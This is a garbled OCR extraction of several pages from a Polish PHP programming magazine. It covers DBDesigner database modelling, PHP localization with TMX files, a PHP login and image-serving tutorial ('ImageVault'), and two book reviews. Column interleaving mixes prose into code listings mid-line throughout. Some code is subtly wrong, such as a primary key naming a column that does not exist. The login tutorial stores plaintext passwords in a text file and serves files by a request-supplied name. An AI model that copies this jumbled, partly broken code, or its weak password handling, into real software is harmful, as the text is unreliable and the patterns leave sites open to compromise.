graficznego HTMLREPORT) te. Program zapyta nas o nazwę pliku, po
Aby wyeksportować obraz do pliku gra- Ten plugin pozwala sporządzić opis struk- czym zapisze w nim raport (Rysunek 4).
ficznego, wchodzimy do menu Plik -> tury bazy w formie raportu w formacie
Eksportuj -> Eksportuj model jako obraz, HTML (Rysunek 4). W menu głównym Praktyczne
wykorzystanie
Listing 1. Wygenerowane polecenia SQL (mcdtest.txt) gotowego modelu
Przejdźmy teraz do praktycznego wy-
-- ------------------------------------------------------------
korzystania gotowego modelu bazy da-
-- Tabela kodów zwrotów grzecznościowych
-- ------------------------------------------------------------ nych. Co możemy z nim zrobić? Istnieją-
ce opcje obejmują: automatyczne utwo-
CREATE TABLE C_Zwrot ( rzenie na jego podstawie skryptu SQL,
idC_Zwrot INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, zaimportowanie do niej danych z plików
Lib_Civ_C VARCHAR(5) NULL,
CSV, wygenerowanie PHP-owego inter-
Lib_Civ_L VARCHAR(12) NULL,
PRIMARY KEY(idC_Zwrot) fejsu obsługi danych czy ułatwienie prze-
); glądania bazy. Omówimy je po kolei.
-- ------------------------------------------------------------
-- Tabela miast Eksport struktury bazy
-- ------------------------------------------------------------
CREATE TABLE C_Miejsce (
do skryptu SQL
idC_Miejsce INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, Aby na podstawie naszego modelu wyge-
Lib_Miejsce VARCHAR(60) NULL, nerować skrypt SQL tworzący tabele bazo-
PRIMARY KEY(idC_Ville) danowe, w menu głównym wybieramy po-
); zycję Plik -> Eksportuj -> Skrypt tworzenia
SQL (Export SQL Script). Pojawi się pa-
-- ------------------------------------------------------------
-- Tabela identyfikacji rekordów nel opcji , pozwalający wybrać tabele do
-- ------------------------------------------------------------ wygenerowania, ustalić ich kolejność oraz
CREATE TABLE Ident_agent ( zdecydować m.in. o tym, czy chcemy two-
idIdent_agent INTEGER UNSIGNED NOT NULL AUTO_INCREMENT, rzyć klucze własne i obce. Zalecane jest
C_Zwrot_idC_Zwrot INTEGER UNSIGNED NOT NULL,
korzystanie z parametrów domyślnych.
Imie VARCHAR(45) NOT NULL,
Nazwisko VARCHAR(30) NULL, Skrypt SQL zostanie wygenerowany,
DataUrodzenia DATE NOT NULL, gdy wybierzemy jego zapis do schowka
C_Miejsce_idC_Miejsce INTEGER UNSIGNED NOT NULL, (clipboard) lub pliku. Na Listingu 1 przed-
PRIMARY KEY(idIdent_agent), stawiamy instrukcje SQL-owe dla nasze-
INDEX Ident_agent_FKMiejsce(C_Miejsce_idC_Miejsce),
go przykładu.
INDEX Ident_agent_FKZwrot(C_Zwrot_idC_Zwrot)
); Tak uzyskany plik możemy wyko-
nać przy pomocy linii poleceń klienta My-
Reverse Engineering
Reverse Engineering to w tym przypad-
ku odtwarzanie modelu graficznego ist-
niejącej bazy danych. W programie DB
Designer jest dostępne jako opcja w me-
nu głównym (Database -> Reverse Engi-
neering) i wymaga wcześniejszego połą-
czenia z bazą, z której będziemy korzy-
stać (Plik -> Otwórz bazę danych). Na-
stępnie na panelu parametrów wybiera-
my typ bazy danych (MySQL, Oracle,
itd), tabele, które wejdą w skład mode-
lu oraz typy powiązań między tabelami.
Wygenerowany model zostanie umiesz-
czony w obszarze roboczym i będziemy
mogli go swobodnie edytować.
Rysunek 6. DataImporter: różne opcje
Asystent zapytań
Asystent zapytań (Rysunek 12) pomaga
przy formułowaniu kwerend SQL-owych.
Uruchomimy go zmieniając w menu
głównym tryb wyświetlania na Tryb zapy-
Rysunek 10. SimpleWebFront: wybór widoków
tań (Display -> Query mode).
Jak wygląda ułatwienie tworzenia za- uzupełniać wstępnie utworzone kwerendy, wa wersja tej aplikacji, w której zmieniono
pytań? Po pierwsze, możemy przeciągnąć a gdy jesteśmy połączeni z bazą danych również strukturę bazy danych. Chcieliby-
nazwę tabeli lub pola z obszaru roboczego (menu główne: Database -> Connect...), śmy zainstalować to nowe wydanie sys-
do obszaru wprowadzania zapytań – poja- również je wykonywać. Zapytanie wykona- temu statystyk i zaimportować do niego
wi się zestaw kwerend do wyboru. Po dru- my klikając na żółtą ikonę z zieloną strzał- zgromadzone dotychczas dane – nieste-
gie, w pasku narzędzi DBDesignera znaj- ką: jego rezultat ukaże się w oknie po pra- ty, twórca narzędzia tego nie przewidział.
dą się m.in. ikony przedstawiające kwe- wej stronie. Co robić?
rendy oraz ich elementy. Wybierając odpo- Zainstalujmy tę nową wersję syste-
wiednie zapytanie w tym pasku, a następ- Inne możliwe sposoby mu statystyk i załóżmy dla niego nową
nie klikając na danej nazwie tabeli lub polu wykorzystania bazę (koniecznie pod inną nazwą niż
w obszarze roboczym spowodujemy utwo- Załóżmy, że korzystamy z narzędzia pro- baza już istniejąca). Następnie odtwórz-
rzenie odpowiedniej kwerendy. UWAGA: wadzącego statystyki odwiedzin na na- my strukturę obu baz, np. łącząc się ko-
ta drua możliwość nie zawsze działa, nie- szej witrynie internetowej i zapisujące- lejno z każdą z nich spod DBDesignera
stety. Zawsze możemy natomiast ręcznie go je w bazie danych. Pojawiła się no- lub korzystając z phpMyAdmina. Po wy-
konaniu tej czynności użyjemy funkcji
DBDesignera o nazwie Reverse Engi-
neering (menu główne: Database -> Re-
verse Engineering, zobacz Ramka Re-
verse Engineering) w celu zrekonstru-
owania modelu każdej z baz w formie
graficznej. Korzystając z Asystenta Za-
pytań oraz innych funkcji DBDesigne-
ra, które opisaliśmy, łatwo porównamy
strukturę obu baz i przeniesiemy dane
ze starej do nowej.
Porady i sztuczki
Korzystając z programu warto wiedzieć
o kilku użytecznych rzeczach. Oto wska-
Rysunek 8. SimpleWebFront, parametry Ogólne zówki ułatwiające pracę z programem:
Lokalizacja w PHP
przy użyciu standardu TMX
Stopień trudności: lll
Nicola Asuni
S
tandard TMX (ang. Transla- blic jako kontenerów translacyjnych (ele-
tion Memory eXchange) powstał mentów służących do przechowywania
w ramach projektu Oscar (skrót tłumaczonego tekstu). W takim kontek-
angielskich słów: Open Standards for ście, zasoby tekstowe (np. menu, opi-
Container/Content Allowing Re-use), wy- sy, nagłówki, informacje dla użytkow-
konywanego w ramach jeden z inicjatyw nika) są przechowywane bezpośred-
stowarzyszenia LISA (ang. Localization In- nio w kodzie źródłowym, jako elemen-
dustry Standards Association; patrz: ram- ty tablic, do których można się w ra-
ka LISA). zie potrzeby odwoływać. W ogólnym
Celem autorów TMX było dostar- przypadku, korzystając z takiej techni-
czenie neutralnego systemu wymiany ki lokalizacji tworzy się oddzielny plik,
danych pomiędzy różnymi systemami bądź zbiór plików dla każdego języ-
translacji, przy jednoczesnej minimaliza- ka wspieranego przez aplikację. Na Li-
cji i eliminacji strat krytycznych informa-
cji. TMX jest w pełni zgodny ze standar-
W SIECI dem XML. Wspiera również kodowanie Co należy wiedzieć...
Powinieneś znać podstawy PHP oraz
znaków Unicode, oraz wielorakie stan-
XML. Przyda się również wiedza związa-
dardy ISO (dotyczące między innymi for- na z zagadnieniem internacjonalizacji.
1. http://tmxphpbridge.sourcef matów opisu daty/czasu, kody językowe i
orge.net – klasa pomostowa
narodowe).
PHP-TMX
2. http://www.lisa.org – witryna
Co obiecujemy...
Po przeczytaniu artykułu będziesz wie-
organizacji LISA
3. http://tecnick.com – strona
Od tablic do TMX dział jak obsłużyć lokalizację projektu
domowa firmy Tecnick.com Duża cześć oprogramowania pisanego PHP przy użyciu TMX.
w PHP jest lokalizowana przy użyciu ta-
stingu 1 przedstawiony jest przykładowy – i rzeczywiście działa. Dlaczego zatem tłumaczeniem. Tak też jest zazwyczaj
tekst Witaj Świecie w języku angielskim mielibyśmy zaprzestać jego używania? w praktyce, to znaczy: nikt nie zmusza
i włoskim, zdefiniowany w dwóch plikach: Pierwszy i prawdopodobnie najważ- programisty do rozszerzania istniejące-
english.php and italian.php. niejszy z powodów to komfort potencjal- go kodu o obsługę nowego języka – tym
Biorąc pod uwagę, że wielu programi- nych tłumaczy. Kiedy projekt rośnie i sta- zajmują się zazwyczaj tłumacze, czyli
stów postępuje w ten sposób, prezento- je się umiędzynarodowiony, niemożliwo- (w ogólnym przypadku) osoby nie po-
wane rozwiązanie musi działać poprawnie ścią jest aby programiści zajmowali się trafiące programować. W tym miejscu
mamy idealną okazję na pojawienie się
Listing 1. Typowa implementacja kontenerów translacyjnych w języku PHP przypadkowych błędów w kodzie: wy-
starczy, że tłumacz niechcący usunie
<?php jeden średnik (;) lub doda cudzysłów.
// english.php W rezultacie, po każdym tłumaczeniu
$res = Array();
kod wymaga ponownej rewizji, którą mu-
$res['DatabaseEmpty'] = "The database is empty!";
$res['HelloWorld'] = "Hello World!"; szą wykonać programiści.
?> Z drugiej strony, składowanie zasobów
<?php tekstowych w formacie TMX pozwala tłu-
// italian.php maczom eksportować i importować dane
$res = Array();
pomiędzy swoimi preferowanymi narzę-
$res['DatabaseEmpty'] = "Il database č vuoto!";
$res['HelloWorld'] = "Ciao a tutti!"; dziami (jak wspominałem wcześniej, istnie-
?> je wiele takich narzędzi). Zasoby powiąza-
ne z procesem tłumaczenia są całkowicie
Listing 2. Przykład pliku TMX odseparowane i uniezależnione od jakie-
<?xml version="1.0" ?>
gokolwiek języka programowania. Wspo-
<tmx version="1.4"> mniane narzędzia pozwalają modyfikować
<header zawartość dokumentu lecz chronią struktu-
creationtool="XYZTool" rę tagów, dzięki czemu nie ma obawy, że
creationtoolversion="1.01-023"
tłumacz coś „zepsuje”.
datatype="PlainText"
segtype="sentence"
Kolejny powód, który sprawia, że tabli-
adminlang="en-us" ce nie są dobrym rozwiązaniem w kontek-
srclang="EN" ście mechanizmów wsparcia internacjona-
o-tmf="ABCTransMem">
</header>
<body>
<tu tuid="DatabaseEmpty" datatype="plaintext">
Internacjonalizacja
Internacjonalizacja (ang. Internationaliza-
<tuv xml:lang="en">
tion; w skrócie: i18n) jest w kontekście in-
<seg>The database is empty!</seg>
żynierii oprogramowania procesem pla-
</tuv>
nowania oraz implementacji produktów i
<tuv xml:lang="it"> usług w taki sposób, aby cechowały się
<seg>Il database č vuoto!</seg> one łatwością adaptacji do specyficznych
</tuv> aspektów kulturowych (głównie lokalnych
</tu> języków). Wspomniany proces adaptacji
<tu tuid="HelloWorld" datatype="plaintext"> takich produktów nazywamy lokalizacją.
<tuv xml:lang="en"> Jednym z głównych aspektów in-
<seg>Hello World!</seg> ternacjonalizacji jest odseparowanie ba-
</tuv> zowego kodu źródłowego produktu od
<tuv xml:lang="it"> wszelkiego rodzaju zasobów (tekstów,
<seg>Ciao a Tutti!</seg> nagłówków, informacji) które są zmien-
</tuv> ne w kontekście różnych języków bądź
</tu> kultur. Takie podejście znacznie uprasz-
</body> cza proces tłumaczenia – dzięki temu,
</tmx> że wspomniane zasoby są dobrze zde-
finiowane i odseparowane w zewnętrz-
Listing 3. Sposób użycia klasy TMXResouceBundle nych Kontenerach Translacyjnych (ang.
Translation Memories). Kontenery Trans-
// 1. dołaczamy plik z definicją klasy TMXResourceBundle lacyjne, zwane również Bazami Transla-
require_once('TMXResourceBundle.php'); cji, to zbiory sentencji zapisane w języku
// 2. tworzymy instancję obiektu klasy TMXResourceBundle specyfikując przy tym
referencyjnym, powiązane z odpowiada-
// nazwę pliku z zasobami TMX oraz kod interesującego nas języka
jącymi im tłumaczeniami w językach ob-
cych. Sentencja referencyjna powiązana
$tmxres = new TMXResourceBundle("tmx_file_name.xml","en");
z tłumaczeniami nazywana jest Jednost-
// 3. wyświetlamy napis odpowiadający identyfikatorowi 'HelloWorld'
ką Translacyjną (ang. Translation Memo-
echo $tmxres->resource['HelloWorld'];
ry Unit).
Prostym przykładem takiej techniki mo- tekę expat). Funkcjonalność ta pozwala segContentHandler() (Listing 7) przetwa-
głoby być zapisywanie i odczytywanie ta- tworzyć niewalidujące parsery XML i de- rza ciągi znaków umieszczone pomiędzy
blicy $tmxres->resource do/z pliku bądź finiować dla nich wywołania zwrotne re- elementami dokumentu XML. Warto za-
rekordu w bazie danych, przy wykorzy- agujące na różnego rodzaju zdarzenia uważyć, że w trakcie przetwarzania za-
staniu mechanizmu serializacji. związane z procesem przetwarzania do- wartości węzła <seg>, wartość atrybutu
kumentu XML. Jak każdy parser XML, xml:lang dla nadrzędnego elementu tuv,
Jak działa klasa również i ten mechanizm można odpo- odpowiada parametrowi $language prze-
TMXResouceBundle wiednio dostosować do swoich potrzeb. kazanemu w konstruktorze klasy. Metoda
Jak pokazano na Listingu 4, konstruk- Metoda startElementHandler() (Li- segContentHandler() odwzorowuje wy-
tor klasy pobiera jako parametry nazwę sting 5) ustala wartości zmiennych sta- brany ciąg znaków na konkretny element
i ścieżkę docelowego pliku TMX, a tak- nu w momencie otwarcia elementu TMX. tablicy zasobów. Odwołanie do tego ele-
że kod ISO określający język. Wewnątrz Metoda endElementHandler() (Listing 6) mentu odbywa się przy użyciu atrybutu
konstruktora zdefiniowany jest parser resetuje te wartości kiedy element TMX tuid (określonego w tagu tu), który wy-
TMX. Parser ten działa w oparciu o stan- jest zamykany. Zmienne stanu prze- korzystywany jest jako indeks.
dardowe udogodnienie: PHP XML Parser chowują informacje na temat aktualnie Po zakończeniu procesu parsowa-
Functions (wykorzystujące z kolei biblio- przetwarzanego elementu TMX. Metoda nia, tablica zasobów będzie wypełniona
danymi odpowiadającymi wybranemu ję-
Listing 6. Wywołanie zwrotne do obsługi końców elementów XML zykowi. Jak wspomniałem wyżej, indek-
sami dla poszczególnych elementów są
private function endElementHandler($parser, $name) { odpowiadające im wartości identyfikato-
switch(strtolower($name)) { rów (tuid). Ostania z rozważanych me-
case 'tu': {
tod: getResource (Listing 8), zwraca tabli-
// jednosta translacyjna; zawiera unikalny identyfikator (tuid)
$this->current_key = ""; cę zasobów.
break;
} Podsumowanie
case 'tuv': { W niniejszym artykule przedstawiono
// wariant jednostki translacyjnej; zawiera kod języka
podstawowe techniki internacjonaliza-
$this->current_language = "";
break; cji w kontekście języka PHP. Pokaza-
} no jak, w łatwy sposób, można wykorzy-
case 'seg': { stać możliwości TMX, nawet przy ręcz-
// segment; zawiera przetłumaczony tekst nym tworzeniu pliku z zasobami. Silne
$this->segdata = false;
rozgraniczenie pomiędzy kodem apli-
if (!empty($this->current_data) OR !array_key_exists($this->current_
key, $this->resource)) { kacji, a danymi, możliwość ponowne-
$this->resource[$this->current_key] = $this->current_data; // go użycia jednostek translacji oraz wy-
ustawiamy nowy element tablicy goda i łatwość użytkowania czyni tech-
} nologię TMX idealnym wyborem przy
break;
rozwiązywaniu problemów związanych
}
default: { z internacjonalizacją programów tworzo-
break; nych w PHP. n
}
}
}
S
wego czasu znajomy zapytał Podstawowa struktura
mnie, czy (i w jaki sposób) da- systemu
łoby się ograniczyć dostęp do Strukturę systemu przedstawia Rysu-
umieszczonych na jego stronie interne- nek 1. Nas najbardziej interesują elementy
towej zdjęć jego dzieci grających w pił- umieszczone w katalogu public_html. Po-
kę, aby były one wyświetlane wyłącz- szczególne moduły aplikacji to:
nie autoryzowanym użytkownikom. Moim
pierwszym pomysłem było zabezpiecze- l
Moduł logowania, sprawdzający infor-
nie całej witryny hasłem, jednak gdyby macje podane przez użytkownika i na
zdeterminowanemu użytkownikowi uda- ich podstawie podejmujący decyzję o
ło się ustalić nazwy i ścieżki plików gra- dopuszczeniu go do chronionych da-
W SIECI ficznych, to mógłby on teoretycznie omi- nych. Moduł składa się z plików in-
nąć zabezpieczenia i wyświetlić chronio- dex.php i main.php.
ne zdjęcia.
1. http://www.devshed.com/c/
Po chwili namysłu doszedłem do
a/PHP/Private-Pages-with- wniosku, że najbezpieczniej będzie Powinieneś wiedzieć...
PHP-and-Text-Files umieścić pliki poza publicznie dostęp- Niezbędna będzie znajomość podstaw
– alternatywne rozwiązanie PHP.
zabezpieczania plików nym katalogiem serwera WWW, a na-
2. http://www.experts- stępnie napisać aplikację PHP, która
exchange.an/web.web_
Languages/PHP/Q_ na podstawie loginu i hasła będzie udo- Obiecujemy...
21267129.html stępniać te pliki autoryzowanym użyt- Stworzymy system udostępniający
– tutorial przedstawiający umieszczone na stronie pliki graficz-
sposób zabezpieczania pli-
kownikom. Narzędzie to musi też umoż-
ne wyłącznie autoryzowanym użyt-
ków na serwerze. liwiać wylogowanie użytkownika po za- kownikom.
kończeniu przeglądania.
l
Moduł wylogowania, pozwalający za- który z kolei możemy założyć w dowolnym Za generowanie ekranu logowania odpo-
logowanemu użytkownikowi wyjść katalogu, do którego będzie miał dostęp wiada funkcja showLoginPage(), zapisa-
z aplikacji (plik logoff.php). parser PHP (np. /usr/local/imagevault). Ta- na w osobnym pliku showloginpage.php
l
Skrypt udostępniający uprawnionym kie podejście pozwoli użytkownikowi aktu- (Listing 2) i w tym przypadku wywoływa-
użytkownikom pliki graficzne składo- alizować stronę poprzez zwykłą edycję ko- na bez argumentu.
wane poza katalogiem public_html du HTML w tym pliku. Jest to o tyle istotne, Dane użytkownika podane przy lo-
(plik imageserver.php). że użytkownik może nie mieć praw do mo- gowaniu (login i hasło) są przesyłane do
l
Dwa skrypty narzędziowe: jeden gene- dyfikacji skryptów wyświetlających galerię, skryptu main.php (Listing 3), który wyko-
rujący kod znaczników dostępnych ob- ale na pewno będzie posiadał uprawnienia nuje następujące operacje:
razów (plik linkgen.php), a drugi unie- do zmiany własnych plików.
możliwiający zapisanie obrazu po klik- Na Listingu 1 przedstawiamy komplet- l
Pobranie przekazanego loginu i hasła
nięciu go prawym przyciskiem myszy. ny kod pliku index.php. Jego działanie za- l
Sprawdzenie, czy podane informacje
czyna się od dołączenia pliku showlogin- są poprawne:
Logowanie page.php, po czym przebiega według na- l
Jeśli tak, skrypt inicjalizuje se-
Po otwarciu głównej strony witryny, użyt- stępującego algorytmu: sję, ustawia zmienną sesyjną
kownik powinien zobaczyć albo stronę validuser i przekazuje do przeglą-
ze zdjęciami (dla użytkowników zalogo- l
Sprawdzenie parametrów sesji w ce- darki stronę index.html
wanych), albo formularz logowania (dla lu zweryfikowania, czy użytkownik jest l
Jeśli nie, użytkownikowi zostanie
wszystkich innych). Odpowiada za to plik zalogowany: ponownie zaprezentowany ekran
index.php. l
Jeśli tak, zawartość pliku in- logowania, tym razem z dodatko-
Wyświetlany kod HTML będzie skła- dex.html jest odczytywana i prze- wą informacją o błędnych danych;
dowany w osobnym pliku index.html, któ- kazywana do przeglądarki, to wyświetlenie również realizu-
ry (podobnie jak same zdjęcia) będzie się l
Jeśli nie, użytkownik jest przekie- je funkcja showLoginPage(), tym
znajdował poza publicznym katalogiem rowywany do ekranu logowania razem wywoływana z łańcuchem
serwera WWW, w katalogu imagevault, (showloginpage.php). error jako argumentem.
Wylogowanie następnie przekierowany do ekranu lo- sting 4), umieszczonym w katalogu pu-
System powinien też umożliwiać użyt- gowania, który ponownie wygenerujemy blic_html. Aby z niego skorzystać, wystar-
kownikowi wylogowanie się. Osiągniemy za pomocą funkcji showLoginPage(), tym czy w kodzie HTML umieścić następujący
to anulując wszystkie zmienne sesyjne razem przekazując łańcuch logout jako odsyłacz: <a href="logoff.php">Wylogow
wywołaniem session_unset(), a następ- jej argument. anie</a>.
nie usuwając bieżącą sesję wywołaniem Kod realizujący wylogowanie zo-
session_destroy(). Użytkownik zostanie stanie zapisany w pliku logoff.php (Li- Udostępnianie plików
graficznych poprzez
Listing 3. Logowanie (plik main.php) PHP
Pora przejść do sedna systemu, czyli pro-
<?php
cesu udostępniania plików graficznych.
/* Pat OBrien, 10 stycznia 2006 */
require_once "showloginpage.php"; Kod realizujący to zadanie jest zapisany
function get_users() { // Pobiera listę autoryzowanych użytkowników w pliku imageserver.php (Listing 5), a jego
global $username, $password, $nusers; działanie obejmuje:
$nusers = 0;
$lines = file("../imagevault/users.txt"); l
Sprawdzenie zmiennej sesyjnej
foreach ($lines as $line) {
// Każdy wiersz pliku powinien mieć postać [LOGIN]|[HASŁO] validuser w celu zweryfikowania, czy
$elements = explode("|", $line); użytkownik jest zalogowany:
$username[$nusers] = trim($elements[0]); l
Jeśli tak, skrypt pobiera na-
$password[$nusers] = trim($elements[1]); zwę żądanego pliku poprzez
$nusers++; } }
$_REQUEST['filename'], po czym
// Sprawdzenie, czy podane informacje odpowiadają jednemu z wpisów w pliku
function check_user($username_entered,$password_entered) { odczytuje odpowiedni plik z ka-
global $username, $password, $nusers; talogu imagevault i zwraca go żą-
$validuser = 0; dającemu
for ($i=0;$i<$nusers;$i++) { l
Jeśli nie, skrypt zwraca pojedyn-
if ( (strcmp($username_entered,$username[$i]) == 0) &&
czą spację i kończy działanie
(strcmp($password_entered,$password[$i]) == 0) ) {
$validuser = 10; } }
return $validuser; Istotną kwestią w przypadku pliku image-
} server.php jest sposób pobierania pliku
/*---------------- Część główna ----------------------------------*/ obrazu i odsyłania go żądającemu. Wy-
$validuser = 0;
korzystana jest tu funkcja fpassthru(), co
// Pobranie nazwy użytkownika i hasła z formularza logowania
$username_entered = $_REQUEST["username"]; ma tę zaletę, że operacja jest niemal tak
$password_entered = $_REQUEST["password"]; szybka, jak bezpośredni dostęp do pliku,
// Pobranie listy autoryzowanych użytkowników z pliku /imagevault/users.txt a na pewno dużo szybsza od wczytywa-
get_users(); nia treści do zmiennej PHP i następujące-
// Sprawdzenie poprawności podanych danych
go po tym odsyłania jej klientowi.
$validuser = check_user($username_entered,$password_entered);
// Jeśli dane są poprawne: inicjalizacja sesji, ustawienie zmiennej sesyjnej Drugą istotną kwestią jest to, że zażą-
// validuser danie nieistniejącego pliku spowoduje za-
// i zwrócenie klientowi strony index.html pisanie komunikatu o błędzie w pliku er-
if ($validuser == 10) { rorlog.txt, znajdującym się w katalogu ob-
// Przygotowanie i inicjalizacja sesji
razów (jeśli plik nie istnieje, zostanie auto-
session_start();
session_register("validuser"); matycznie utworzony). Rejestrowanie błę-
$_SESSION['validuser'] = $validuser; dów pozwoli administratorowi witryny wy-
// Zwrócenie strony użytkownikowi kryć i poprawić błędne odsyłacze do pli-
$lines = file("../imagevault/index.html"); ków graficznych.
foreach ($lines as $line) { print $line; }
}else { // Jeśli dane są błędne: ponowne wyświetlenie ekranu logowania
print (ShowLoginPage('error')); } Kolejne zwiększenie
exit; ochrony
?> Nieraz zdarza się, że właściciel plików gra-
ficznych chce je udostępnić wybranym
Listing 4. Skrypt wylogowania (plik logoff.php)
użytkownikom, ale zarazem uniemożliwić
<?php lokalne zapisywanie obrazów poprzez kli-
/* Pat OBrien, 01/02/2006 */ kanie ich prawym przyciskiem myszy i wy-
require_once "showloginpage.php"; bieranie Zapisz jako... z menu konteksto-
session_start();
wego. Najprostszym rozwiązaniem będzie
session_unset();
session_destroy();
umieszczenie w obrębie znacznika <head>
print (ShowLoginPage('logout')); stron HTML zawierających obrazy funkcji
?> JavaScriptu o nazwie rightmouse(), któ-
ra będzie obsługiwać przechwycone zda-
Książka PHP5. Księga eksperta tak naprawdę nie jest KSIĘGĄ EKSPERTA. Najchętniej określiłbym ją mianem “Vademe-
cum dewelopera PHP”, choć i to byłoby trochę przesadzone. Najlepiej chyba pasuje tu określenie: Luźny przewodnik po róż-
nych możliwościach PHP5.
W książce znajdziemy informacje zupełnie podstawowe, jak również te, które wprowadzają już w świat “Profesjonalne-
go programowania w PHP”. Dowiemy się nieco o szablonach Smarty, PEAR, XSLT czy debugowaniu i optymalizacji skryp-
tów PHP.
Bardziej zaawansowani Czytelnicy mogą poczytać o szyfrowaniu danych, programowaniu obiektowym, obsłu-
dze błędów czy tworzeniu witryn dla WAP. Znajdziemy też dodatki o migracji aplikacji z PHP4 do PHP5, czy cieka-
wy fragment o dobrych technikach programowania i zagadnieniach wydajności.
W książce zdecydowanie brakuje praktycznych przykładów zaawansowanego tworzenia aplikacji w PHP5.
Próżno szukać informacji o modelowaniu w UML, wykorzystaniu wzorców projektowych czy testowaniu aplikacji.
Przydałoby się studium przypadku, w którym autor pokazałby, jak podejść do większego projektu informatycznego,
jak go planować i nim zarządzać. W końcu każdy “Ekspert” musi mieć pojęcie o profesjonalnym tworzeniu więk-
szych aplikacji.
Książka jest solidną i przydatną pozycją, nie do końca chyba jednak przydatną ekspertom od PHP.
Dariusz Pawłowski
Kiedy zabierałem się do lektury „O’Reilly - ActionScript Receptury”, nie mogłem doczekać się otwarcia książki i zato-
pienia w recepturach i kolejnych sposobach na wyciśnięcie z flash’a maksymalnej funkcjonalności. Chcąc dowiedzieć
się co czeka na mnie w tej pozycji, sięgnąłem do spisu treści, gdzie spotkało mnie lekkie rozczarowanie. Znając serię
do jakiej książka należy, spodziewałem się, że już w pierwszym punkcie ujrzę recepturę która z miejsca powali mnie na
kolana. Niestety tak się nie stało.
Książka napisana została jako pozycja, którą czytać należy w jedyny słuszny sposób: od pierwszego rozdziału,
traktującego o sprawach w niektórych przypadkach wręcz banalnych, do ostatniego, zawierającego już naprawdę roz-
budowane receptury. Każdą z receptur zorganizowano w standardowej formie, z jaką często pracują programiści. Au-
torzy stawiają problem do rozwiązania, a następnie przedstawiają jego analizę i rozwiązanie. Pozwala to w pełni zrozu-
mieć poszczególne receptury - bez konieczności zaglądania na inne strony w poszukiwaniu powiązanych zagadnień,
które pomogłyby w zrozumieniu danego problemu (choć odniesienia do zagadnień poruszanych w innych działach zda-
rzają się w listingach).
Na koniec zostawiłem coś, co uważam za poważną wadę dla każdego, kto będzie chciał w praktyce wykorzystać
choćby fragmenty przykładów zaprezentowanych w książce. Zapoznałem się ze wszystkimi recepturami i zauważyłem,
że w niektórych przypadkach listingi dołączone do rozdziałów przekraczały aż cztery strony! W przypadku pro-
stych receptur rozwiązujących pojedyncze problemy przepisanie całego kodu nie powinno sprawić czytelniko-
wi większego problemu. Kiedy jednak mamy do czynienia z kodem aplikacji będącej „Centrum Teleczatu i Wia-
domości Wideo” o dosyć dużej złożoności, umieszczenie kodu na płycie, bądź innym nośniku jest rozwiąza-
niem wręcz wymaganym, a na pewno o wiele bardziej trafnym niż druk.
Niemniej jednak muszę przyznać, że wszystkie receptury zawarte w recenzowanej książce Joey’a Lott’a są na-
prawdę solidnie przygotowane i faktycznie rozwiązują wiele problemów, na jakie developer flash’a może natknąć
się podczas codziennej pracy. Jednak osoby, które zajmują się tworzeniem aplikacji we flash’u profesjonalnie, mo-
gą poczuć niedosyt po lekturze tej pozycji.
Ogólnie mogę polecić tę książkę zarówno początkującym jak i zaawansowanym (ale nie profesjonalnym) użyt-
kownikom pakietu Macromedii, a niedługo już Adobe.
Bartłomiej Wereszczyński
Projekty ImageVault
logu obrazów i zapisanie w nim wiersza o tyczna strona główna. W katalogu image- <h1>Witamy na naszej stronie!</h1>
treści testuser|pass. vault tworzymy plik o następującej treści: <a href="pictures.htm">
Ostatni etap to utworzenie dwóch testo- Kliknij tutaj, by zobaczyć zdjęcia</A>
wych stron HTML. Pierwszą jest wspomnia- <html> </body>
na wcześniej strona index.html, czyli fak- <body bgcolor="#FFFFFF"> </html>
Listing 7. Skrypt linkgen.php generujący kod HTML ze znacznikami <img> do- Ostatnim plikiem jest strona galerii pictu-
stępnych obrazów res.html (Listing 8), również zapisana w
katalogu public_html.
<?php
/* Pat OBrien, 1 lutego 2006
require_once "showloginpage.php";
*/
Próba generalna
function isimage($instr) { // Ustalenie rozszerzenia pliku Skoro wszystko jest już gotowe, po-
$isimage = false; ra wypróbować nasz system: otwie-
$instr = trim($instr); ramy przeglądarkę i wpisujemy adres
if (strlen($instr)<1) {return false;} strony pictures.html. Powinna się po-
$type = strtolower(substr(strrchr($instr,"."),1));
kazać strona zawierająca dwie iko-
if ( strcmp("gif", $type)==0 ) {$isimage = true;}
if ( strcmp("png", $type)==0 ) {$isimage = true;} ny nieistniejących obrazów, czyli do-
if ( strcmp("jpg", $type)==0 ) {$isimage = true;} kładnie to, o co nam chodziło – aby
if ( strcmp("jpeg", $type)==0 ) {$isimage = true;} zobaczyć obrazy, trzeba się zalogo-
if ( strcmp("bmp", $type)==0 ) {$isimage = true;} wać. Otwieramy więc stronę index.php
return $isimage; }
i wprowadzamy testowy login i hasło
/* --------------- Część główna ------------------------------ */
session_start(); (testuser i pass) w formularzu logowa-
$validuser = $_SESSION['validuser']; nia. W efekcie powinna zostać wyświe-
if ($validuser == 10) { tlona strona index.html. Kliknięcie jedy-
$content = "<html><body bgcolor='#FFFFFF'>\n". nego dostępnego odsyłacza przenie-
"<table width='800' border='0' cellspacing='0' cellpadding='5'>\n".
sie nas na stronę pictures.html: tym ra-
" <tr bgcolor='#006666'>\n<td><font face='Arial, Helvetica, sans-serif'
" size='2' color='#CCFFFF'>Nazwa pliku graficznego</font></td>\n". zem obrazy powinny być wyświetlane
" <td><font face='Arial, Helvetica, sans-serif' size='2' color='#CCFFFF'> poprawnie.
Kod HTML obrazu</font></td>\n</tr>\n";
// Pobranie listy nazw udostępnianych plików graficznych Podsumowanie
if ($handle = opendir('../imagevault/')) {
Jak widać, kontrolowanie dostępu do
while (false !== ($file = readdir($handle))) {
$file = basename(trim($file)); wybranych plików za pomocą skryp-
if (isimage($file)) { tu PHP na serwerze jest proste i szyb-
$fullpath = "../imagevault/".$file; kie. Nie trzeba korzystać z rozbudowa-
$size = getimagesize($fullpath); nych systemów kontroli dostępu tylko
if ($size) {
po to, by chronić wybrane pliki na wła-
// Utworzenie znacznika <img> dla bieżącego pliku
$imgtag = "<IMG SRC=\"imageserver.php?filename=".$file."\" snej stronie domowej czy na witrynie
WIDTH=\"".$size[0]."\"HEIGHT=\"".$size[1]."\">"; klubowej. Przedstawiony system może
// Utworzenie wpisu w tabeli dla bieżącego pliku posłużyć za podstawę dla bardziej za-
$content .= " <tr bgcolor='#EEEEEE'>\n". awansowanych rozwiązań, uwzględnia-
"<td><font face='Arial, Helvetica, sans-serif' size='2'>".$file.
jących na przykład automatyczną reje-
"</font></td>\n<td><font face='Arial, Helvetica, sans-serif'
